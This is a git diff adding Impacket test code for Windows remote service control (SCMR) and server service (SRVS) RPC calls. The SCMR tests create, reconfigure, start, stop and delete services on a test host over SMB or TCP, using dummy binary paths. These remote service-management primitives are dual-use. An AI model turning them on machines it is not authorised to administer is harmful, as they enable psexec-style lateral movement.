+    def changeServiceAndQuery(self, dce, cbBufSize, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName):
+        try:
+            resp = scmr.hRChangeServiceConfigW(dce, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
+            resp = scmr.hRQueryServiceConfigW(dce, hService)
+            resp.dump()
+            # Now let's compare all the results
+            if dwServiceType != scmr.SERVICE_NO_CHANGE:
+                self.assertEqual(resp['lpServiceConfig']['dwServiceType'], dwServiceType)
+            if dwStartType != scmr.SERVICE_NO_CHANGE:
+                self.assertEqual(resp['lpServiceConfig']['dwStartType'], dwStartType)
+            if dwErrorControl != scmr.SERVICE_NO_CHANGE:
+                self.assertEqual(resp['lpServiceConfig']['dwErrorControl'], dwErrorControl)
+            if lpBinaryPathName != NULL:
+                self.assertEqual(resp['lpServiceConfig']['lpBinaryPathName'], lpBinaryPathName)
+            if lpBinaryPathName != NULL:
+                self.assertEqual(resp['lpServiceConfig']['lpBinaryPathName'], lpBinaryPathName)
+            if lpLoadOrderGroup != NULL:
+                self.assertEqual(resp['lpServiceConfig']['lpLoadOrderGroup'], lpLoadOrderGroup)
+            #if lpDependencies != '':
+            #    self.assertEqual( resp['lpServiceConfig']['lpDependencies'], lpDependencies[:-4]+'/\x00\x00\x00')
+            if lpServiceStartName != NULL:
+                self.assertEqual(resp['lpServiceConfig']['lpServiceStartName'], lpServiceStartName)
+            if lpDisplayName != NULL:
+                self.assertEqual(resp['lpServiceConfig']['lpDisplayName'], lpDisplayName)
+            #if lpdwTagId != scmr.SERVICE_NO_CHANGE:
+            #    if resp['lpServiceConfig']['dwTagId']['Data'] != lpdwTagId:
+            #        print "ERROR %s" % 'lpdwTagId'
+        except Exception:
+            scmr.hRDeleteService(dce, hService)
+            raise
+
+    def changeServiceAndQuery2(self, dce, info, changeDone):
+        serviceHandle = info['hService']
+        dwInfoLevel = info['Info']['Union']['tag']
+        cbBuffSize = 0
+        request = scmr.RQueryServiceConfig2W()
+        request['hService'] = serviceHandle
+        request['dwInfoLevel'] = dwInfoLevel
+        request['cbBufSize'] = cbBuffSize
+        try:
+            resp = dce.request(request)
+        except scmr.DCERPCSessionError as e:
+            if str(e).find('ERROR_INSUFFICIENT_BUFFER') <= 0:
+                raise
+            else: 
+                resp = e.get_packet()
+
+        request['cbBufSize'] = resp['pcbBytesNeeded'] 
+        resp = dce.request(request)
+        arrayData = b''.join(resp['lpBuffer'])
+        if dwInfoLevel == 1:
+           self.assertEqual(arrayData[4:].decode('utf-16le'), changeDone)
+        elif dwInfoLevel == 2:
+           offset = unpack('<L', arrayData[4:][:4])[0]
+           self.assertEqual(arrayData[offset:][:len(changeDone)*2].decode('utf-16le'), changeDone)
+        elif dwInfoLevel == 3:
+           self.assertEqual(unpack('<L', arrayData)[0], changeDone)
+        elif dwInfoLevel == 4:
+           self.assertEqual(unpack('<L', arrayData)[0], changeDone)
+        elif dwInfoLevel == 5:
+           self.assertEqual(unpack('<L', arrayData)[0], changeDone)
+        elif dwInfoLevel == 6:
+           changeDone = bytes(changeDone).decode('utf-16le')
+           self.assertEqual(arrayData[4:].decode('utf-16le'), changeDone)
+        elif dwInfoLevel == 7:
+           self.assertEqual(unpack('<L', arrayData)[0], changeDone)
+
+    def open_or_create_service(self, dce, scHandle, service_name, display_name, binary_path_name):
+
+        try:
+            desiredAccess = scmr.SERVICE_ALL_ACCESS
+            resp = scmr.hROpenServiceW(dce, scHandle, service_name, desiredAccess)
+            resp.dump()
+            return resp['lpServiceHandle']
+        except scmr.DCERPCSessionError as e:
+            if e.get_error_code() != 0x424:
+                raise
+
+        dwDesiredAccess = scmr.SERVICE_ALL_ACCESS
+        dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS
+        dwStartType = scmr.SERVICE_DEMAND_START
+        dwErrorControl = scmr.SERVICE_ERROR_NORMAL
+        lpLoadOrderGroup = NULL
+        lpdwTagId = NULL
+        lpDependencies = NULL
+        dwDependSize = 0
+        lpServiceStartName = NULL
+        lpPassword = NULL
+        dwPwSize = 0
+        resp = scmr.hRCreateServiceW(dce, scHandle, service_name, display_name, dwDesiredAccess,
+                                     dwServiceType, dwStartType, dwErrorControl, binary_path_name,
+                                     lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize,
+                                     lpServiceStartName, lpPassword, dwPwSize)
+        return resp['lpServiceHandle']
+
+    def test_RChangeServiceConfig2W(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        newHandle = self.open_or_create_service(dce, scHandle, 'TESTSVC\x00', 'DisplayName\x00', 'binaryPath\x00')
+        error = False
+        try:
+            request = scmr.RChangeServiceConfig2W()
+            request['hService'] = newHandle
+            request['Info']['dwInfoLevel'] = 1
+            request['Info']['Union']['tag'] = 1
+            request['Info']['Union']['psd']['lpDescription'] = 'betobeto\x00'
+            resp = dce.request(request)
+            resp.dump()
+            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psd']['lpDescription'])
+            request['Info']['dwInfoLevel'] = 2
+            request['Info']['Union']['tag'] = 2
+            request['Info']['Union']['psfa']['lpRebootMsg'] = 'rebootMsg\00'
+            request['Info']['Union']['psfa']['lpCommand'] = 'lpCommand\00'
+            resp = dce.request(request)
+            resp.dump()
+            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psfa']['lpRebootMsg'])
+            request['Info']['dwInfoLevel'] = 3
+            request['Info']['Union']['tag'] = 3
+            request['Info']['Union']['psda']['fDelayedAutostart'] = 1
+            dce.request(request)
+            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psda']['fDelayedAutostart'])
+            request['Info']['dwInfoLevel'] = 4
+            request['Info']['Union']['tag'] = 4
+            request['Info']['Union']['psfaf']['fFailureActionsOnNonCrashFailures'] = 1
+            dce.request(request)
+            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psfaf']['fFailureActionsOnNonCrashFailures'])
+            request['Info']['dwInfoLevel'] = 5
+            request['Info']['Union']['tag'] = 5
+            request['Info']['Union']['pssid']['dwServiceSidType'] = 1
+            dce.request(request)
+            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['pssid']['dwServiceSidType'])
+            request['Info']['dwInfoLevel'] = 6
+            request['Info']['Union']['tag'] = 6
+            request['Info']['Union']['psrp']['pRequiredPrivileges'] = list('SeAssignPrimaryTokenPrivilege\x00\x00'.encode('utf-16le'))
+            dce.request(request)
+            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psrp']['pRequiredPrivileges'])
+            request['Info']['dwInfoLevel'] = 7
+            request['Info']['Union']['tag'] = 7
+            request['Info']['Union']['psps']['dwPreshutdownTimeout'] = 22
+            dce.request(request)
+            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psps']['dwPreshutdownTimeout'])
+            request['Info']['dwInfoLevel'] = 8
+            request['Info']['Union']['tag'] = 8
+            #request.dump()
+            trigger = scmr.SERVICE_TRIGGER()
+            trigger['dwTriggerType'] = scmr.SERVICE_TRIGGER_TYPE_DOMAIN_JOIN
+            trigger['dwAction'] = scmr.SERVICE_TRIGGER_ACTION_SERVICE_START
+            trigger['pTriggerSubtype'] = string_to_bin(scmr.DOMAIN_JOIN_GUID)
+            item = scmr.SERVICE_TRIGGER_SPECIFIC_DATA_ITEM()
+            item['dwDataType'] = scmr.SERVICE_TRIGGER_DATA_TYPE_STRING
+            item['pData'] = list('FREEFLY\x00'.encode('utf-16le'))
+            #trigger['pDataItems'].append(item)
+            trigger['pDataItems'] = NULL
+            request['Info']['Union']['psti']['pTriggers'].append(trigger)
+            dce.request(request)
+            #self.changeServiceAndQuery2(dce, request, '\x00')
+            request['Info']['dwInfoLevel'] = 9
+            request['Info']['Union']['tag'] = 9
+            request['Info']['Union']['pspn']['usPreferredNode'] = 22
+            # This one doesn't work
+            #resp = dce.request(request)
+            #self.changeServiceAndQuery2(dce, request, request['Info']['Union']['pspn']['usPreferredNode'])
+            request['Info']['dwInfoLevel'] = 10
+            request['Info']['Union']['tag'] = 10
+            request['Info']['Union']['psri']['eLowestRunLevel'] = 1
+            # This one doesn't work
+            #resp = dce.request(request)
+            #self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psri']['eLowestRunLevel'])
+            request['Info']['dwInfoLevel'] = 11
+            request['Info']['Union']['tag'] = 11
+            request['Info']['Union']['psma']['fIsManagedAccount'] = 1
+            # This one doesn't work
+            #resp = dce.request(request)
+            #self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psma']['fIsManagedAccount'])
+
+        except Exception as e:
+            import traceback
+            traceback.print_exc()
+            print(e)
+            error = True
+            pass
+
+        scmr.hRDeleteService(dce, newHandle)
+        scmr.hRCloseServiceHandle(dce, newHandle)
+        scmr.hRCloseServiceHandle(dce, scHandle)
+        if error:
+            self.fail()
+    
+    def test_REnumServicesStatusExW(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        request = scmr.REnumServicesStatusExW()
+        request['hSCManager'] = scHandle
+        request['InfoLevel'] = scmr.SC_STATUS_PROCESS_INFO
+        request['dwServiceType'] = scmr.SERVICE_WIN32_OWN_PROCESS
+        request['dwServiceState'] = scmr.SERVICE_STATE_ALL
+        request['lpResumeIndex'] = NULL
+        request['pszGroupName'] = NULL
+        request['cbBufSize'] = 0
+
+        # Request again with the right bufSize
+        try:
+            resp = dce.request(request)
+        except scmr.DCERPCSessionError as e:
+            if str(e).find('ERROR_MORE_DATA') <= 0:
+                raise
+            else: 
+                resp = e.get_packet()
+        resp.dump()
+        request['cbBufSize'] = resp['pcbBytesNeeded']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_RQueryServiceStatusEx(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        lpServiceName = 'PlugPlay\x00'
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
+
+        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
+        resp.dump()
+
+        serviceHandle = resp['lpServiceHandle']
+  
+        request = scmr.RQueryServiceStatusEx()
+        request['hService'] = serviceHandle
+        request['InfoLevel'] = scmr.SC_STATUS_PROCESS_INFO
+        request['cbBufSize'] = 100
+
+        resp = dce.request(request)
+        array = b''.join(resp['lpBuffer'])
+        scmr.SERVICE_STATUS_PROCESS(array)
+
+    @pytest.mark.skip(reason="ToDo")
+    def test_REnumServiceGroupW(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        
+        dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS
+        dwServiceState = scmr.SERVICE_STATE_ALL
+        cbBufSize = 10
+        lpResumeIndex = 0
+        pszGroupName = 'RemoteRegistry\x00'
+
+        try:
+            resp = scmr.hREnumServiceGroupW(dce, scHandle, dwServiceType, dwServiceState, cbBufSize, lpResumeIndex, pszGroupName )
+            resp.dump()
+        except scmr.DCERPCSessionError as e:
+           if str(e).find('ERROR_SERVICE_DOES_NOT_EXISTS') <= 0:
+               raise
+
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_RQueryServiceConfigEx(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        lpServiceName = 'RemoteRegistry\x00'
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
+
+        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
+        resp.dump()
+        serviceHandle = resp['lpServiceHandle']
+
+        request = scmr.RQueryServiceConfigEx()
+        request['hService'] = serviceHandle
+        request['dwInfoLevel'] = 0x00000008
+
+        resp = dce.request(request)
+        resp.dump()
+
+    @pytest.mark.skip(reason="ToDo")
+    def test_RControlServiceExW(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        lpServiceName = 'PlugPlay\x00'
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
+
+        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
+        resp.dump()
+        serviceHandle = resp['lpServiceHandle']
+
+        request = scmr.RControlServiceExW()
+        request['hService'] = serviceHandle
+        request['dwControl'] = scmr.SERVICE_CONTROL_STOP
+        request['dwInfoLevel'] = 1
+        # This is not working, don't know exactly why
+        request['pControlInParams']['dwReason'] = 0x20000000
+        request['pControlInParams']['pszComment'] = 'nada\x00'
+        request['pControlInParams'] = NULL
+
+        resp = dce.request(request)
+        resp.dump()
+
+    @pytest.mark.skip(reason="ToDo")
+    def test_RNotifyServiceStatusChange(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        lpServiceName = 'PlugPlay\x00'
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
+
+        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
+        resp.dump()
+        serviceHandle = resp['lpServiceHandle']
+
+        request = scmr.RNotifyServiceStatusChange()
+        request['hService'] =serviceHandle 
+        request['NotifyParams']['tag']  = 1
+        request['NotifyParams']['pStatusChangeParam1']['dwNotifyMask'] = scmr.SERVICE_NOTIFY_RUNNING
+        request['pClientProcessGuid'] = '0'*16
+        #request.dump()
+        resp = dce.request(request)
+        resp.dump()
+
+        request = scmr.RCloseNotifyHandle()
+        request['phNotify'] = resp['phNotify']
+
+        resp = dce.request(request)
+        resp.dump()
+
+        request = scmr.RGetNotifyResults()
+        request['hNotify'] = resp['phNotify']
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_RGetServiceDisplayNameW(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+
+        lpServiceName = 'PlugPlay\x00'
+        lpcchBuffer = len(lpServiceName)+100
+
+        scmr.hRGetServiceDisplayNameW(dce, scHandle, lpServiceName, lpcchBuffer)
+
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_RGetServiceKeyNameW(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+
+        lpDisplayName = 'Plug and Play\x00'
+        lpcchBuffer = len(lpDisplayName)+100
+
+        scmr.hRGetServiceKeyNameW(dce, scHandle, lpDisplayName, lpcchBuffer)
+
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_RStartServiceW(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+
+        lpServiceName = 'PlugPlay\x00'
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
+
+        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
+        resp.dump()
+        serviceHandle = resp['lpServiceHandle']
+  
+        try:
+            scmr.hRStartServiceW(dce, serviceHandle, 3, ['arg1\x00', 'arg2\x00', 'arg3\x00'] )
+        except scmr.DCERPCSessionError as e:
+           if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') <= 0:
+               raise
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_RQueryServiceLockStatusW(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+
+        pcbBytesNeeded = 1000
+        scmr.hRQueryServiceLockStatusW(dce, scHandle, pcbBytesNeeded)
+
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_enumservices(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+
+        #####################
+        # EnumServicesStatusW
+        dwServiceType = scmr.SERVICE_KERNEL_DRIVER | scmr.SERVICE_FILE_SYSTEM_DRIVER | scmr.SERVICE_WIN32_OWN_PROCESS | scmr.SERVICE_WIN32_SHARE_PROCESS
+        dwServiceState = scmr.SERVICE_STATE_ALL
+        scmr.hREnumServicesStatusW(dce, scHandle, dwServiceType, dwServiceState)
+
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_create_change_delete(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+
+        #####################
+        # Create / Change /  Query / Delete a service
+        newHandle = self.open_or_create_service(dce, scHandle, 'TESTSVC\x00', 'DisplayName\x00', 'binaryPath\x00')
+
+        # Aca hay que chequear cada uno de los items
+        cbBufSize = 0
+        try:
+            resp = scmr.hRQueryServiceConfigW(dce, newHandle)
+        except scmr.DCERPCSessionError as e:
+            if str(e).find('ERROR_INSUFFICIENT_BUFFER') <= 0:
+                raise
+            else: 
+                resp = e.get_packet()
+
+        resp.dump()
+        cbBufSize = resp['pcbBytesNeeded']+100
+
+        # Now that we have cbBufSize, let's start changing everything on the service
+        dwServiceType = scmr.SERVICE_WIN32_SHARE_PROCESS
+        dwStartType = scmr.SERVICE_NO_CHANGE
+        dwErrorControl = scmr.SERVICE_NO_CHANGE
+        lpBinaryPathName = NULL
+        lpLoadOrderGroup = NULL
+        lpDependencies = NULL
+        dwDependSize = 0
+        lpServiceStartName = NULL
+        lpPassword = NULL
+        dwPwSize = 0
+        lpDisplayName = NULL
+        lpdwTagId = NULL
+
+        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+        dwServiceType = scmr.SERVICE_NO_CHANGE        
+
+        dwStartType = scmr.SERVICE_DISABLED
+        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+        dwStartType = scmr.SERVICE_NO_CHANGE        
+
+        dwErrorControl = scmr.SERVICE_ERROR_SEVERE
+        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+        dwErrorControl = scmr.SERVICE_NO_CHANGE        
+
+        lpBinaryPathName = 'BETOBETO\x00'
+        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+        lpBinaryPathName = NULL 
+
+        lpLoadOrderGroup = 'KKKK\x00'
+        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+        lpLoadOrderGroup = NULL
+
+        #lpdwTagId = [0]
+        #self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+        #lpdwTagId = ''
+
+        lpDependencies = 'RemoteRegistry\x00\x00'.encode('utf-16le')
+        dwDependSize = len(lpDependencies)
+        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+        lpDependencies = NULL
+        dwDependSize = 0
+
+        lpServiceStartName = '.\\Administrator\x00'
+        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+        lpServiceStartName = NULL
+
+        if self.__class__.__name__ == 'SMBTransport':
+            lpPassword = 'mypwd\x00'.encode('utf-16le')
+            s = rpc_transport.get_smb_connection()
+            key = s.getSessionKey()
+            lpPassword = encryptSecret(key, lpPassword)
+            dwPwSize = len(lpPassword)
+            self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+            lpPassword = NULL
+            dwPwSize = 0
+
+            lpDisplayName = 'MANOLO\x00'
+            self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) 
+
+        scmr.hRDeleteService(dce, newHandle)
+        scmr.hRCloseServiceHandle(dce, newHandle)
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_query(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+
+        ############################
+        # Query Service Status / Enum Dependent
+        lpServiceName = 'PlugPlay\x00'
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
+
+        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
+        resp.dump()
+
+        serviceHandle = resp['lpServiceHandle']
+ 
+        scmr.hRQueryServiceStatus(dce, serviceHandle)
+
+        cbBufSize = 0
+        try:
+            resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize )
+            resp.dump()
+        except scmr.DCERPCSessionError as e:
+           if str(e).find('ERROR_MORE_DATA') <= 0:
+               raise
+           else:
+               resp = e.get_packet()
+
+        resp.dump()
+        cbBufSize = resp['pcbBytesNeeded']
+        resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize )
+        resp.dump()
+        scmr.hRCloseServiceHandle(dce, serviceHandle)
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_lock_unlock(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        
+        resp = scmr.hRLockServiceDatabase(dce, scHandle)
+        lockHandle = resp['lpLock']
+        scmr.hRUnlockServiceDatabase(dce, lockHandle)
+
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_query_set_object_security(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        try:
+            resp = scmr.hRQueryServiceObjectSecurity(dce, scHandle, scmr.DACL_SECURITY_INFORMATION, 0)
+            resp.dump()
+        except scmr.DCERPCException as e:
+           if str(e).find('rpc_s_access_denied') <= 0:
+               raise
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    @pytest.mark.skip(reason="Long running test")
+    def test_notify_config(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        lpMachineName = 'DUMMY\x00'
+        
+        try:
+            resp = scmr.hRNotifyBootConfigStatus(dce, lpMachineName, 0x0)
+            resp.dump()
+        except scmr.DCERPCSessionError as e:
+           if str(e).find('ERROR_BOOT_ALREADY_ACCEPTED') <= 0:
+               raise
+ 
+        scmr.hRCloseServiceHandle(dce, scHandle)
+
+    def test_RControlServiceCall(self):
+        dce, rpc_transport = self.connect()
+        scHandle = self.get_service_handle(dce)
+        lpServiceName = 'CryptSvc\x00'
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
+
+        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
+        resp.dump()
+
+        serviceHandle = resp['lpServiceHandle']
+ 
+        try:
+            req = scmr.RControlService()
+            req['hService'] = serviceHandle
+            req['dwControl'] = scmr.SERVICE_CONTROL_STOP
+            dce.request(req)
+        except scmr.DCERPCSessionError as e:
+            if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0 and str(e).find('ERROR_SERVICE_NOT_ACTIVE') < 0:
+                raise
+            pass
+
+        scmr.hRCloseServiceHandle(dce, serviceHandle)
+        time.sleep(1)
+        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
+        resp.dump()
+
+        serviceHandle = resp['lpServiceHandle']
+
+        try:
+            resp = scmr.hRStartServiceW(dce, serviceHandle, 0, NULL )
+            resp.dump()
+        except scmr.DCERPCSessionError as e:
+            if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') < 0:
+                raise
+        return 
+
+
+@pytest.mark.remote
+class SCMRTestsSMBTransport(SCMRTests, unittest.TestCase):
+    string_binding = r"ncacn_np:{0.machine}[\pipe\svcctl]"
+
+
+@pytest.mark.remote
+class SCMRTestsTCPTransport(SCMRTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    authn_level = ntlm.NTLM_AUTH_PKT_PRIVACY
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_srvs.py b/tests/dcerpc/test_srvs.py
new file mode 100644
index 0000000..b99ea56
--- /dev/null
+++ b/tests/dcerpc/test_srvs.py
@@ -0,0 +1,1143 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)NetrConnectionEnum
+#   (h)NetrFileEnum
+#   (h)NetrFileGetInfo
+#   (h)NetrFileClose
+#   (h)NetrSessionEnum
+#   (h)NetrSessionDel
+#   (h)NetrShareAdd
+#   (h)NetrShareDel
+#   (h)NetrShareEnum
+#   (h)NetrShareEnumSticky
+#   (h)NetrShareGetInfo
+#   (h)NetrShareDelSticky
+#   (h)NetrShareDelStart
+#   (h)NetrShareDelCommit
+#   (h)NetrShareCheck
+#   (h)NetrServerGetInfo
+#   (h)NetrServerDiskEnum
+#   (h)NetrServerStatisticsGet
+#   (h)NetrRemoteTOD
+#   (h)NetrServerTransportEnum
+#   (h)NetrpGetFileSecurity
+#   (h)NetrpSetFileSecurity
+#   (h)NetprPathType
+#   (h)NetprPathCanonicalize
+#   (h)NetprPathCompare
+#   (h)NetprNameValidate
+#   (h)NetprNameCanonicalize
+#   (h)NetprNameCompare
+#   (h)NetrDfsGetVersion
+#   (h)NetrDfsModifyPrefix
+#   (h)NetrDfsFixLocalVolume
+#   (h)NetrDfsManagerReportSiteInfo
+#   (h)NetrServerAliasAdd
+#   (h)NetrServerAliasEnum
+#   (h)NetrServerAliasDel
+#   NetrShareDelEx
+#   NetrServerTransportAdd
+#   NetrServerTransportDel
+#   NetrServerTransportAddEx
+#   NetrServerTransportDelEx
+#   NetrDfsCreateLocalPartition
+#   NetrDfsDeleteLocalPartition
+#   NetrDfsSetLocalVolumeState
+#   NetrDfsCreateExitPoint
+#   NetrDfsDeleteExitPoint
+#   NetrShareSetInfo
+#
+# Not yet:
+#   NetrServerSetInfo
+#
+from __future__ import division
+from __future__ import print_function
+
+import pytest
+import unittest
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import srvs
+from impacket.dcerpc.v5.dtypes import NULL, OWNER_SECURITY_INFORMATION
+
+
+class SRVSTests(DCERPCTests):
+    iface_uuid = srvs.MSRPC_UUID_SRVS
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\srvsvc]"
+    authn = True
+
+    def test_NetrConnectionEnum(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrConnectionEnum()
+        request['ServerName'] = '\\\\%s\x00' % self.machine
+        request['Qualifier'] = 'IPC$\x00'
+        request['InfoStruct']['Level'] = 1
+        request['InfoStruct']['ConnectInfo']['tag'] = 1
+        request['PreferedMaximumLength'] = 8192
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InfoStruct']['Level'] = 0
+        request['InfoStruct']['ConnectInfo']['tag'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrConnectionEnum(self):
+        dce, rpc_transport = self.connect()
+        resp = srvs.hNetrConnectionEnum(dce, 'IPC$\x00', 1)
+        resp.dump()
+
+        resp = srvs.hNetrConnectionEnum(dce, 'IPC$\x00', 0)
+        resp.dump()
+
+    def test_NetrFileEnum(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrFileEnum()
+        request['ServerName'] = '\\\\%s\x00' % self.machine
+        request['BasePath'] = NULL
+        request['UserName'] = NULL
